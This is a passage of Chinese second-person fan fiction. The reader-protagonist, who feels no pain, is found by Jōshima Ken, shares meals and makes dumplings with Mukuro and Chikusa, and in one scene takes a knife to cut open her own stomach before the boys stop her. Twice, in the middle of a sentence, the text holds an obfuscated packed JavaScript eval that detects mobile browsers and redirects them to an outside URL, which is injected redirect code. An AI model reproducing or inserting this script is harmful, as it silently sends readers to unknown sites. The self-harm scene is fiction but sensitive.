——热气腾腾的煎饼果子,七分甜的芋泥啵啵,你手捧新鲜出炉的糖炒栗子,穿着睡衣的你舒适随意地走在街头,内心满满的幸福感。而现在,你站在人来人往的十字路口,强大的迷惘和陌生冲击着你,你再不复当初轻松自在的心境。阴郁迷茫充斥着你的大脑,你已经变得连你自己都不认识了。 可怖扭曲的陌生感填满了你的身躯,你割裂地凝视这个世界,你不可自控地怀疑其真实性。 包括你自己的。 拥有动漫文学里才会有的魔性美貌,像完美程序里意外出现的bug,你处于虚假与真实之间。 —— 天要黑了。 凉意浸染你的骨头,昏暗的光线下,枯朽的大树像阴森可怖的鬼爪,森森动摇人脆弱的意志。收敛烦杂的心绪,你定定盯着扭曲晃动的树影,冷风灌过领口,你冻得不想说话。 下意识想要踏入明亮温暖的店内,转瞬你又止住步伐,迟钝的脑子僵硬运转,你后知后觉意识到最关键的一点, ——你没有身份。 ■■让你降临异世,却没有给你对应的身份信息,换言之,你在异世还是一个黑户。 之前,有城岛犬和柿本千种、六道骸陪着你,你完全没有想到这一点。回过神后,你发现连给自己办理一张身份证的钱都没有。 你不清楚异世的身份证明是怎么获得的,但你明白,你肯定无法从正规渠道获得你想要的东西。先不提你的外貌,光是你的来历,你就无法向陌生人言明。你也无法信任他们。 慢吞吞走在路上,你决定先找个桥洞应付一下今天的仓促。 虽然一个人存活的概率不高,但你也没有寻找六道骸他们的想法。困倦地打了个哈欠,你始终无法对这个世界产生真实感。脑海里恍惚想到某只小凤梨,你顿了顿,犹豫了一下,你勉强承认,六道骸还是和其他人不一样的。只可惜这点不同并不足以支撑你永远留下来,现在,你只能接纳你自己。 你想要重新创造一个只属于你自己的家。一个和前世一模一样的家。 16.第 16 章 你的计划不幸夭折在半路。 “你这家伙,不要随便放开我们的手啊笨蛋!!” 城岛犬第一个找到了你。 凶巴巴的声音在你耳畔响起,你恹恹地抬头。 城岛犬不知何时找到了这边,头发沾染汗水,凌乱地贴在脸上。看到你后,喘着气,城岛犬露出可怕的尖牙,“终于找到你了。” 城岛犬气势汹汹地走近你,犬耳尖敏地竖起,看到你孤寂地独坐在河岸边,城岛犬又咽回自己所有的抱怨和担忧。 你没有在意城岛犬的情绪,你只是目不转睛地盯着他的耳朵和尾巴看。 城岛犬提过他的技能,你的脑海里一直只有一个模模糊糊的概念,直到今天,你才真正见到他使用技能的模样。 ……有点可爱。 像一只半兽化的幼犬,城岛犬凑到你身边不停嗅嗅嗅。 “人多,味道太杂,我嗅了好久才终于定位到你的位置。” 城岛犬不喜欢你身上有其他人的杂味,尤其是狗化后,他的嗅觉异常敏感,嗅到你身上杂乱纷扰的气息,城岛犬不爽地呜声。 有一道气味残留得格外久,它既不属于千种,也不属于骸大人,更不属于他自己。城岛犬盯着你细白的脖子,他突兀地想对你下口,但最终,城岛犬还是遏制了自己这股莫名其妙的欲望。 “骸大人和千种很快就会赶过来。” 城岛犬拉你起身,兽化后的眼瞳流露出纯粹的野性,视线难耐地从你脖子上收回,城岛犬看向阴森黝黑的河流,他皱眉说:“迷路了就好好待在原地啊笨蛋,我和千种、骸大人都会回来找你的。” “我才不想待在原地。”你撇开城岛犬的手,听到他的话,你重新坐在干燥的地面,盯着一潭死水的河流,你提不起兴致地蜷缩成一团。 “我要一个人呆着。” 你有点困倦,但又不想睡觉,你只想一个人睁着眼睛,从天黑待到天明,再从天明等到天黑。 “你又怎么了?是哪里不舒服吗?” 城岛犬不是很能理解,他站在原地等待了一会,确认你完全没有想要起身的欲望,城岛犬也没有强硬地拉起你,他自然坐在你身边,城岛犬使劲动用他的大脑思考。 “因为我们没有及时找到你,生气了吗?” “不是。” “你不喜欢出门?” “不是。” “你……” 没等城岛犬再说话,你打断了他,“尾巴。” “什么?”城岛犬一时之间没有联想到自己身上,他还在疑惑。 “……你的尾巴,一直缠着我。” 城岛犬低头,他的尾巴不听话地缠上你的手指,一圈又一圈,大大的、蓬松的尾巴调皮地钻入你的掌心,又在你即将抓住它时“咻”的一下溜走,活像一只勾人的狡猾狐狸。 “!!!” 城岛犬立马惊地跳起,他反应很大地扯起自己不听话的尾巴,没轻没重的手指还扯断了几根毛发,你清晰看到,断裂的毛发在半空艰难飘了几秒,而后又因自身的重量被迫坠落在这片土地。 城岛犬异常的反应让你侧目,你眨了下眼,“你还没驯服自己的尾巴吗?” “根本就不是驯服和被驯服的关系啦!!这只是…只是一种狗的本能反应而已。”城岛犬磕磕巴巴地解释,狗本来就是这种会突然兴奋的古怪物种啊,奇怪的是狗,又不是他城岛犬。 “变成狗后,我也会拥有它的能力,比如说超强的嗅觉和运动能力。” “这种本能反应也不是我能控制的。” 你迷茫地听着城岛犬暴风输出了一连串,夹杂着生硬的中文和意大利语,你艰难理解了城岛犬的意思。 目光落在城岛犬身后疯狂对你摇晃的尾巴,你忽然有点想摸摸狗尾巴。 你没养过狗,出租屋通常不会允许饲养宠物,加上你很担心自己不能好好饲养一只宠物,所以你的饲养欲望一直搁置。 你总以为,你还年轻,你未来的时间也还很漫长。 “要摸摸吗?” 你的眼睛牢牢粘在他的尾巴上,城岛犬抓着自己的尾巴,注意到你的表情,他稍稍松开手,尾巴尖往左摇,你的眼珠轻微往左转动,尾巴尖往右摇,你的眼珠轻微往右转动。 城岛犬没有思考,完全出于本能,他朝你递上自己脆弱的大尾巴。 掌心结结实实接触到一片柔软,蓬松柔软的毛发填满你的掌心,你阴郁的内心像突然接触到阳光,刹那被软乎乎热烘烘的大尾巴扫了下,你微微睁大眼睛。 “只有这一次!要摸就快点摸啦!!”薄弱点捏在别人的手里,城岛犬不自在地抖了抖耳朵,他又重新坐回你旁边,你看过去,城岛犬连坐姿都跟狗一样。 你一下一下摸着城岛犬的尾巴,无师自通撸狗手法,你又盯上了他不断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14617426|151611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抖动的耳朵。 捏着城岛犬的尾巴根防止他突然窜走,你缓缓凑近他。冰凉的指尖不动声色摸上他的耳朵,你垂眸观察着城岛犬的反应,和你想象中的一样,城岛犬炸毛了。 掌心的尾巴像触电般炸开,想要逃走的身体僵在你指尖,你顺着自己心意揉上城岛犬的耳朵。从耳根开始,红晕伴着热意,城岛犬像只受惊的兔子,惊乍得瞳孔都扩大。 你恶劣地贴近,“城岛犬的名字也有一个犬字呢。” 城岛犬强撑着与你对视,他极力忽视耳朵和尾巴传来的酥麻感,犬牙发痒,城岛犬死死盯着你,想要咬人的欲望愈发强烈。 “那又怎样,我又不是狗。”细微的磨牙声伴着城岛犬的咬牙切齿,他凶巴巴地回答你。 你低头看着在你手下毫无反抗之力的城岛犬,你诡异产生一股奇特的满足感。 暂且跳过话题,你疑惑地直视城岛犬干净的眼睛,“为什么要来找我呢。” “你再说什么屁话啊。”城岛犬理所当然地说,“当初不是约定好的吗,我们要永远在一起,谁都不可以背离约定。” “我可没有答应。” 城岛犬沉默,他抬头定定盯着你,单手撑着地面,城岛犬用空余的手攥住你的手腕,“我们是家人。” 城岛犬执着又坚定,这幅表现,完全就跟认死理的倔强狗子一模一样。 “不想离开春也,春也也不可以离开我们。” “无论去哪里,我都会找到你。”鼻尖耸动,城岛犬的眼睛亮得吓人,“春也的味道很特别,我绝对可以一次比一次更快找到你。” 逃出实验室后,大家的想法都很一致,他们不想再失去什么,也不会让人再从他们手中夺走什么。 城岛犬的发言直白得可怕,你罕见地没有升起想要杀人的欲望,大概是因为他不断向你摇晃的尾巴,你很难对城岛犬产生恶感。 “虽然不知道春也为什么会这么说。” 城岛犬顿了一秒,他专注又认真地看着你的眼睛。城岛犬当然知道你的古怪和诡异,可他完全不会在意这些,叼在怀里的,那就是他的,城岛犬的认知非常清醒。 “但是,春也是家人。不管是我,小柿还是骸大人,都认同春也。” “我们会永远接纳你。” 凭着直觉,城岛犬说出了自己以往绝对不会说出口的话。 “我们是春也的。” 17.第 17 章 ……是你的。 城岛犬、柿本千种、六道骸都是属于你的。 心脏像潮湿成结的海藻团,咻的一下,扭曲繁杂的结忽然松动,眼里逐渐泛起亮光,你看着你掌心下的城岛犬,乱糟糟的毛发里,城岛犬看你的目光格外明亮,你的内心升起难以言喻的满足感。 手指无意识插入城岛犬的发根,一手揪着他毛茸茸的犬耳,你捏起城岛犬红到滴血的耳根,你奖励式揉揉狗头,“乖狗狗。” 生涩优雅的意语缓缓从你口中吐出,城岛犬的尾巴一下僵住,随即,像风路过后拼命旋转的风车,毛茸茸的大尾巴打在你的手上,甩出几道红印。 城岛犬面上一片镇定,只可惜泛红的耳根完全出卖了他的心情,城岛犬声厉内荏:“都说了我不是狗啊!!” 把耳朵和尾巴都从你手上移走,城岛犬摘下他的动物齿模卡匣,在你面前,他又恢复了正常人的模样。 尾巴和耳朵都消失了,你有些失落,摸上城岛犬金灿灿的脑袋,微炸毛发的手感始终比不上蓬松的耳朵和尾巴。 “小柿和骸大人来了。”城岛犬收力起身,手指虚虚搭在你的腰上,以防你因为他突然的起身动作倾倒,瞥了眼不远处,城岛犬提着你一起站起,他别过脸,凶巴巴地说:“想摸的话,回家再让你摸啦。” 六道骸和柿本千种走到你面前。六道骸自然脱下他的外套披到你身上,他们没有提自己究竟找了你多久,看到你安然无恙,六道骸不动声色观察着你,确认你没有受伤,他轻笑着上前圈住你的手腕。 “回家吧。” “已经这么晚了啊。”城岛犬姿态随意地走在后边,抬头看着漆黑的夜,点点星光闪烁着微弱的光芒,“咕噜噜”的声音在寂静的夜里格外清晰,城岛犬捂住自己不断作响的肚子,“我们干脆吃完饭再回去吧。” 柿本千种:“我没意见。” 六道骸偏头看你,说:“春也饿了吗?” 你摸了摸自己无知无觉的肚子,你脑子里并没有明确的概念,你根本不会产生饿肚子后会的胃部灼痛感,所以你也无法判断自己此刻是饱腹状态还是饿过头后的假饱状态。 “我还好。” 你说得随意,距离十二点也快了,等刷新,你的身体内又是全新的内脏和骨头,就算你天天不吃饭,你也不会饿死。 进食成为可有可无的选项,你总会忘记自己的身体状态。但六道骸、城岛犬、柿本千种可不会忘记,他们还残留着正常人的本能。 六道骸估算了下时间,从你用餐到现在,你未曾进食过,腹中食物估计都消化得差不多了。扫了眼街道,依旧还有几家餐厅营业中。 “那就去那间餐厅吧。”六道骸指向河畔的那间建筑,餐厅门前挂了盏小灯,澄亮温和的小灯像引领迷途路人的光,幽幽等待在那。 顺着六道骸手指的方向,你看过去,恰好将夜晚的意大利望入眼眸。 意大利的夜晚灯火璀璨,明暗恰当的灯光温和不刺眼,河畔倒影着一盏盏颇具设计色彩的路灯,水面轻轻浅浅地晃动,晃悠着路灯的光影倒影成一圈圈浪漫的水波纹。 ——就好像,梵高画里的世界真实映入你的眼帘。 建筑古老的美丽让你震撼,幽蓝晦暗的天空衬得这片天地愈发深邃,你静静欣赏着陌生的世界,美是共通的,你难以厌恶油画般的欧洲夜晚。 “有喜欢的吗?”六道骸带着你走入餐厅,坐在幽静的绿植附近,六道骸将菜单递到你面前,诱人的食物图片展现在你面前,你不自觉看入神了。 摸了摸软软的小肚子,你翻阅着菜单。 “不喜欢就换一家。”柿本千种推了推眼镜,不同国家的人对待食物的喜好也不同,虽然不说,但柿本千种还是很担忧你会不习惯意大利的食物和水土。 “感觉还可以。”手指了指堆叠成一座小山的意大利面,你认真点菜,“图片都很诱人。” 西西里茄子炖、特色意面、冰淇淋、提拉米苏、那不勒斯披萨……不知不觉,你点了一大堆。六道骸任你点餐,看你递回菜单,六道骸侧头看你,“已经够了吗?” 你数了数自己点下的食物,你肯定地点头,“够了。” 见状,男孩子们挑着自己想吃的食物快速点了遍,菜单递给服务员,没等多久,菜品缓慢开始上桌。 餐厅并没有提供筷子,你又用不惯叉子,六道骸拍了下你的手,“先不急着吃。” 还在和叉子作斗争的你茫然抬头,你只看到六道骸起身离开的背影。他走向服务员,嘴角扬起温和笑意,他在和服务员交流。离得远,你听不清六道骸在说什么,只看到没过多久,他就跟着服务员走向柜台。几秒过后,六道骸揣着一个小袋子走向你。 “用这个。”六道骸坐回你身旁,他从袋子里拿出几双干净的筷子,递给你一只,他拿走你面前碍事不好用的刀叉,等做好这一切,六道骸又抬头看向坐在对面的两个人,“犬,千种,你们需要吗?” 城岛犬和柿本千种对视一眼,视线落在你吃得欢快的脸上,他们自然接过六道骸手上的筷子。 “需要。” 小孩子的学习能力很强,虽然一开始有些不习惯,但用惯了筷子后,城岛犬他们也懒得再换回来。和你一样,会让城岛犬的内心升起隐秘的欢喜,他喜欢这种,你的身上缠上他的气息,他的动作染上你的习惯,这会让他有种你们亲密无间的错觉。 不,不是错觉,你们本该亲密无间。 因为,你们是家人啊。 家人,合该亲密。 这顿饭你吃得很满足,刚出炉的披萨散着暖意,咬下去一口爆汁,浓郁的番茄汤汁扑满你的鼻腔口舌,罗勒叶的清香中和了芝士的油腻,但鲜美的汤汁又不会让饼皮变硬,披萨饼很有嚼劲,边缘的饼皮烤得有些焦,脆脆的很好吃。 胃里饱饱的,你满足地眯起眼睛,拿起最后的冰淇淋,你慢悠悠享受着冰冷的甜意。 “嗷,好撑啊。”城岛犬毫无形象地往后一仰,手摸了下圆滚滚的肚子,他打了个嗝,“这绝对是本大爷吃得最饱的一次。” “你上一次也这么说。”柿本千种面无表情地戳穿城岛犬,“犬要适可而止。” “什么适可而止啊。”城岛犬反驳,“喜欢的东西就要一直吃,吃到饱就会满足了啊。吃到半饱,胃里根本就不会填满。春也,你说是不是?” 说到一半,城岛犬还来询问你的意见,你点头赞同,毕竟你今天也吃得很撑了。 “春也,不要惯着犬。”柿本千种抬眼看向你,幽深的蓝眸注视着你,他语气平淡,“吃太撑,会难受。春也刚刚也吃了很多。” 你咬下最后的冰淇淋皮,你理所当然,“我才不会难受。” ……你被打脸了。 吃得时候没感觉,等到回家后,你躺在床上开始哼哼唧唧,凌晨十二点早就过了,你完全不能指望身体自动恢复。胃里不断传来饱胀反胃的感觉,你痛苦地拧眉。 就算没有痛觉,身体也可以在其他方面折磨你。 在床上不断翻来覆去打滚,胃部的饱胀让你无法入睡,你猛地掀开被窝,直挺挺从床上起身,你低头盯着自己的肚子,你的眼神逐渐危险。 把它破开来,讨厌的堆积食物就会从里面流出,你也就不会再有烦人的饱胀感了。 环视一圈屋子,你失望地发现,你的屋内并没有危险物品,你的手上除了从实验室带出的特殊子弹,你并没有尖锐的危险品。 你完全没有意识自己的想法有问题,你从床上起身,赤脚走在地板,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14625142|151611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不死心地试图搜寻。 没有没有没有! 哪里都没有你想要的东西!! 你烦躁地捂着肚子,忽然,你想起了厨房。厨房里会有各种各样的刀具,眼睛一亮,你勉强忍耐住讨厌的饱胀感,打开房门,确认路线,你直直闯入厨房。 城岛犬他们都睡着了,路过他们的房间时,你完全没有听到里面传出动静,想想也是,这个年纪的小孩子基本都是沾枕即睡,你撇过头直直朝着自己的目的地走去。 在你离开后,房门打开,三个小脑袋从门后冒出,六道骸盯着你烦躁地背影,他微眯起眼睛。 “春也又饿了吗?”城岛犬小声开口,“她不是刚吃了那么多吗?消化也没这么快吧。” 柿本千种莫名有股不好的预感,他微微皱眉,“犬好笨。春也肯定是撑着了。” 难受的话,为什么不和他们说呢,柿本千种看到了你捂肚子的动作,“肚子撑,为什么要去厨房?” 六道骸冷淡地说:“去看看。” 你并不知道有三个人正小心翼翼地跟在你身后,你顺利走到厨房,挂在白墙上的菜刀锋利又亮锃锃的,你一眼就注意到了它。 这是你第一次进厨房,你拿起菜刀,简单比划了下,你不喜欢菜刀笨重的手感,视线下移,你看到了小巧的寿司刀。 轻便小巧的寿司刀没有菜刀那么锋利,你拿起寿司刀,比起锋利程度,你还是更喜欢轻便的东西。 手倚着灶台,举起刀,反光的刀面映照出你面无表情的脸,灰蓝色的眼瞳如深海深深吸引着你,你不自觉被自己蛊惑。 “哦呀,这是在做什么。” 还没等你有动作,六道骸已经来到你面前,清瘦的手抓着你拿刀的手腕,散乱的刘海下,幽黑的红瞳深深凝视着你此刻的动作。 “你这家伙疯了吗?!!”城岛犬快速拍掉你手上的寿司刀,冰冷的刀具碰撞上地板,沉闷的声响敲打在每个人心里,城岛犬肉眼可见地暴躁起来。 “你知道你在做什么吗?!!” 柿本千种抬了抬眼镜,他没有说话,反光的镜片倒映着你茫然的表情,显然,你完全没有意识到自己刚刚行为的问题。 “为什么拿刀?” 柿本千种心里隐隐有股猜测,由于过于离谱,他始终难以相信。 你不理解大家都的反应为什么那么大,你垂目看了眼安静睡在地上的寿司刀,下一秒,六道骸抬手捏起你的下巴,“看着我。” 六道骸盯着你安静的模样,想起实验室里你的疯举,六道骸终于明白自己心中隐隐的不对劲究竟是什么了。 “太撑了。”你坦诚。 “太撑了为什么要拿刀?”城岛犬一时没能反应过来,他迷惑又不解。 “太撑了,想用刀取出食物。” 这不是很正常吗?发现问题,解决问题,你感觉你实践得很好。 更何况…… “我不会痛。” 柿本千种:“这不是痛不痛的问题。” 城岛犬拧眉,“难受的话,来找我们啊,你是笨蛋吗?不要总想着自己一个人解决问题!!” “犬说得没错。”六道骸脸上第一次丧失了笑意,面无表情盯着你的时候,那双异瞳的存在感异常强烈。 “春也现在有我们。” “这样最方便。” 你的手还被六道骸圈着,你想要缩回手,但你没想到六道骸小小的身板,力道竟然异常大,一时之间,你竟无法从他手里抽回手。 “还有更好的方法。”柿本千种淡淡反驳你,他看上去完全没有生气的迹象,唯有绷直的嘴角才能体现出他的坏心情。 “什么方法?” 六道骸不动声色攥紧你的手,“我们来教你。” 22-30 第22章 擀完面团, 剩下的事情就轻松了。 “终于好了。”城岛犬炫耀地拎起他辛辛苦苦擀好的饺子皮,小尖牙得意露出,城岛犬屁颠屁颠跑到你面前, “春也, 快看本大爷的饺子皮。” “本大爷可是第一个擀完所有面团的人!” 一张粗糙不规整的饺子皮赫然映入你眼帘, 你看过去, 城岛犬愉悦地翘起不存在的尾巴,显然, 他对自己的杰作异常满意。 “之后就是肉馅了。嘶溜, 我已经闻到肉香了嗷!”城岛犬兴奋地来到肉馅前,舔了下嘴巴, 他快要饿得受不了了。 “犬,不可以偷吃。” 余光注意到城岛犬抬手的动作,柿本千种淡淡出声阻止,“等煮熟,才可以吃。” 准备的饺子馅都是生肉, 人需要吃熟食,这点常识柿本千种还是清楚的。 擀完最后一张饺子皮, 柿本千种侧过身, 他向你展现了自己的成果。 一张张剔透圆润的饺子皮整整齐齐叠在一起,也不知道柿本千种是怎么做到的,几乎每张饺子皮的大小厚度都一摸一样,你起身走过去,认真观察了下,起码,你的肉眼无法看出饺子皮和饺子皮之间的差距。 “千种的学习能力好强!” 你觉得这饺子皮和外面卖的也没什么区别了。 看着你眼里的惊叹,柿本千种习惯性推了推眼镜, 面上不显,但轻微翘起的嘴角还是彰显了他的好心情。 “很快就好了。” 连最麻烦的和面团都搞好了,柿本千种不觉得包饺子会比和面团更难。 你又走过去看六道骸,小小的凤梨头进度远超所有人,你看到他的时候,六道骸已经在包饺子了。 清瘦修长的手指捏着薄薄的饺子皮边缘,小圆勺挖了一大勺肉馅,六道骸开始捏合饺子皮,不一会儿,一只教科书般标准的饺子摆在了你的面前。 鼻尖几乎要触碰到饺子,你下意识后仰,抬起头,你看到六道骸笑着收回了饺子。 “要试试吗?”见你一直看着他,六道骸侧身给你留了个位置。 你低头看了眼熟悉的饺子皮,没怎么多想,你拿起一张薄薄的饺子皮,学着六道骸刚刚的动作,饺子皮摊在掌心中央,你挖了满满一大勺肉馅放在上面,小心翼翼卷着边缘,你慢慢把平坦光滑的皮捏成一只圆滚滚胖乎乎的小肥饺。 “干得不错嘛。” 城岛犬不知什么时候站在你身后,望着你掌心上胖得快要露馅的大圆饺子,城岛犬夸赞道:“不愧是春也。” 柿本千种“嗯”了一声,表示赞同。 你看向最后没有发表意见的六道骸,后者抬眼望入你的眼眸,六道骸笑了下,“确实不错呢。” 得到三个人的正面评价,你低头看向自己手里的小圆饺子,你满意地把它放进六道骸制作标准的饺子里。 你圆滚滚的饺子强行塞入画风不一的教科书版饺子里,看上去突兀又自在。 六道骸莫名盯了你的饺子好几眼,漂亮的蓝眼睛不说话,六道骸微不可闻地哼笑了下。 饺子包起来很快,再加上还有你在一旁帮忙,很快,远超四人份的饺子制作完毕。 六道骸早就煮好了热水,柿本千种端起饺子缓慢往锅里下,用筷子搅拌以防饺子粘锅的间隙,城岛犬将多余的饺子全都封好放入冰箱。 做完一切,城岛犬收起猩猩齿模卡匣,下巴搁在你肩膀,城岛犬散漫地拖长音:“要什么时候才能好啊,小柿,我要饿死了啊——” 说话间的热浪喷洒在你颈窝,你抬手推开城岛犬金灿灿的大脑袋,下一秒,城岛犬不满的嗓音在你耳边响起,“春也干嘛推开我。” “你的呼吸吵到我了。” 城岛犬一时沉默,思考了会,城岛犬找到解决方法,“那我下次练习闭气。” 不过,如果他不会呼吸,岂不是可以二十四小时黏着你? “好了。” 平静的嗓音伴着关火的声响,柿本千种开始替你们舀饺子,见你和犬像只嗷嗷待哺的小兽等候在一旁,幽蓝的眼睛柔和了一瞬,柿本千种出声提醒,“蘸料准备了吗?” “啊,忘了。”城岛犬顺手从旁边的柜子里拿出香醋和牛肉酱,扭头看向你,城岛犬问道:“春也还需要什么吗?” “辣酱。” 香醋配辣,是你最爱的组合。 不一会儿,饺子熟了。 柿本千种将煮好的食物端上桌,备好筷子,他看向你们,说:“来吃吧。” 你的小椅子上垫了个软乎乎的小软垫,坐好后,刚一低头,你浓密的黑色发丝便如瀑布般倾洒下来。你不作声地盯着你的头发,讨厌的发丝打扰了你吃饭的进度,你忽然有些烦躁。 还未等你有动作,手指轻柔地穿过你的发丝,有人拢起了你的长发,熟悉的气息瞬间让你辨认出他的身份。 ——是六道骸。 六道骸站在你身后,他的手指虚虚触碰着你的头皮,六道骸认真捋着你的发丝,视线触及到你脑袋上的雪花小发卡,六道骸低低笑了几声。 “果然很适合你呢。” 你没有听明白六道骸的话,“什么?” “雪花,和你很相衬。” 替你扎好辫子,六道骸不动声色欣赏了几秒,毛茸茸的发圈和雪花发卡看上去异常般配,kufufu…他的眼光果然不错。 见你低头看了眼自己的头发,六道骸漫不经心坐在你旁边,他扭头看你。 “现在可以用餐了呢。” 你随意甩了甩脑袋,确认头发不会散掉,你安心低头。你夹起一只饺子放入蘸料,红彤彤的饺子混杂着辣酱和醋的香味,上面还有牛肉酱的肉沫,光是看着就觉得很美味。 你的碗里混杂了三个人的饺子,你看了眼,基本每只饺子你都可以辨认出它们的主人,至于你自己的…… 你自己动手包的饺子屈指可数,胖乎乎的大圆饺子全都均匀地散布在他们三个人的碗里。目光微动,你扫视了眼大家。 城岛犬饿得有些狠,他狼吞虎咽地吞下饺子,蘸着你拌的酱料,不太能吃辣的城岛犬吐着舌头,嘴里不断发出嘶哈嘶哈的吸气声。 柿本千种的吃相要斯文些,他不紧不慢地夹起饺子蘸酱,大概是因为这次的食物从开始到结束都是他们一起制作的,柿本千种吃得格外认真。 三个人对视线都很敏锐,你目光落在他们身上的一瞬间,三个人同时抬头看向你。 六道骸慢条斯理咽下嘴里的饺子,他偏头看你,六道骸似笑非笑地说:“怎么,春也想吃我的?” 听到这话,视线下移,你看向六道骸碗里剩下的饺子,鼻子皱起,你嫌弃地撇过脸,“我才不要吃你碗里剩下的。” 你的嫌弃过于明显,小凤梨头微不可察的一僵,尽管六道骸很快恢复正常,但那双幽暗的异瞳还是一动不动地盯着你。半晌,他冷哼一声,“最好是这样。” 以后你想吃,他都不会给你呢。 你的注意力重新放在自己的饺子上,柿本千种包的饺子小小一只,完全够你一口吞下,蘸着香喷喷的辣酱,你一口一个。 但很快,你就发现了不对。 ——你完全品尝不出辣味。 你重新打开辣酱罐头,往碗里倾倒了大半辣酱,你继续尝试。你的动作惹得六道骸他们全都把目光聚集到你身上,刚刚还被你惹生气的六道骸不自觉又提起对你的关注。 你一口一口吃着蘸了大半辣酱的饺子,你完全吃不出以往熟悉的辣味,心里空落落的,你忍不住继续倾倒辣酱。 “已经很辣了,再不停下,你是想干吃一整瓶辣酱吗?”在你的行为愈发过分前,六道骸伸手阻止了你的动作,知道你对痛觉不敏感,六道骸漫不经心又补充了句。 “辣是痛觉。” 倾倒辣酱的动作被迫止住,你后知后觉意识到,辣是痛觉。 你低头看了眼自己碗里满满的辣酱,你慢半拍地往嘴里送入饺子,品尝不到辣味的你缓慢咀嚼着,你忽然感到惋惜。 ——为这碗本该很过瘾的辣味饺子。 第23章 吃完大半碗辣酱的后果就是, 你的身体又开始犯懒了。 你困倦地打了个哈欠,以为是自己睡得还不够多。慢吞吞走到沙发前,你瘫坐在上面, 抬手捏起厚毛毯, 你像倒葱一样往后一倒, 毛毯顺势盖住你的头脚, 手无意识捂着肚子,你昏昏沉沉地闭上眼。 耳边是大家收拾碗筷的声音, 很快, 恼人的声响止住,有脚步声朝你靠近, 你把脑袋又往里缩了缩。 “春也?”柿本千种冷淡的嗓音在你耳侧响起,他疑惑地走近你。厚实的毛毯微微拱起,一眼就能让人看出不对劲。刚刚他忙着收拾桌面,没有顾上你,等回神, 柿本千种就发现你不知何时又藏进了毛毯里。 “嗯?春也怎么了?”听到柿本千种的声音,城岛犬擦拭干净手上的水珠走了过来, 看到沙发上拱起的弧度, 城岛犬蹲下身凑到你面前,“春也怎么又躺下了?” 侧耳倾听你的呼吸声,确认你没有睡着后,城岛犬抬手拉起毛毯一角,瞬间,你浓密乌黑的发丝暴露在空气中。 脑袋仰起,你烦躁地抬起眼皮,无机质的灰蓝眼睛倒映着城岛犬和柿本千种的影子, 你抬手夺走城岛犬手里的毛毯。 “犬!” “春也的脸色好差。”城岛犬一点也没有在意你生气地喊着他的名字,比起这个,他更在意你糟糕的脸色。 幽黑的发丝湿黏地贴在你脸颊,苍白的面容显得你愈发脆弱易折,但你那双幽幽灰蓝眸又像潮湿的漩涡,一不留神就会被你吸住。 病症、痛苦,让你愈发无意识散发着诡谲的魅力。 城岛犬不受控制地靠近你,温热的手指轻轻触碰着你的脸,他触摸到了你发冷的汗珠。瞬间,城岛犬清醒过来。他担忧地看向你,“春也的身体是冷的。” 柿本千种想起了你刚刚不节制吃辣的场景,眼镜反着幽冷的白光,他站在一旁注视着你,眼里闪过幽暗的情绪,柿本千种俯身碰了下你的额头。 “没有发烧。” “春也对待自己的身体,总是没有一个明确的认知呢。” 六道骸的眼里没有丝毫笑意,他也来到你面前,城岛犬和柿本千种同时侧过身,六道骸不紧不慢弯下身,抬手捏住你的下巴,观察着你的表情,六道骸缓慢出声:“不舒服为什么不说?” 周围窸窸窣窣的声音烦得你无法安然入睡,你虚弱地抬起眼:“我没觉得不舒服。” 你是真觉得自己状态还算不错,除了流汗的速度比以前更快了,身体忽然有些使不上力……除此之外,你完全没觉得自己有其他问题。 “哦呀,是这样吗?”六道骸眯起眼睛,抬手擦拭掉你脸颊上的汗珠,手指轻轻按压你的肚子,发现你的眼里没什么痛苦,但脸色肉眼可见更加苍白了些后,六道骸弯腰抱起你。 “先去诊所。” 闻言,你身体一僵,你又想起了那些不愉快的记忆,松开抱住六道骸的手,你死死攥紧你的大毛毯,“我没事,我才不要去诊所!” 你使劲在六道骸怀里挣扎,你讨厌一切和针管药物有关的东西。 就算六道骸力气再大,现在的他也不过是个七八岁的小孩子,你像条阴暗扭曲的大蟒蛇在他怀里疯狂翻滚,一时之间,六道骸有些控制不住你。 在你彻底翻肚子掉下去之前,柿本千种和城岛犬及时默契地护住你的脑袋和后背。 六道骸苦恼地看你百般不情愿,他无奈解释道:“不要担心,我会控制住他。” “反正过一夜又会恢复正常,这种事情根本就没有必要。”像条搁浅的鱼,你不满地扑腾,隐隐潮湿的黑色发丝凌乱勾缠在六道骸衣服上,六道骸低头,你无机质的灰蓝眼瞳终于充斥了些正常人的情绪。 “只是有点虚弱而已,又不会妨碍我的行动。” 你满脸抗拒,像不不愿去打针的小猫,嘴里还发出威胁的呜声。六道骸无奈:“只是先看一下是什么症状,现在距离午夜的时间还很长,难不成你是想直接睡到第二天吗?” “不可以吗?” “当然不可以啊。”城岛犬盯着你苍白的面容,“春也现在明明也很不舒服,不是吗?就算感知不到痛觉,但你的身体还是会诚实地反应你的问题啊。” “更何况,还有我们在。要是那个家伙敢有歪心思,本大爷第一次咬死他!” “犬说的没错。”柿本千种赞同地点头,“春也,可以试着相信我们。” 温水沾湿干净的手帕,柿本千种耐心地擦拭你脸色的汗珠,你苍白的唇瓣没有丝毫颜色,轻柔的手帕轻轻拂过,很快,你的脸上出现一丝不明显的红晕。 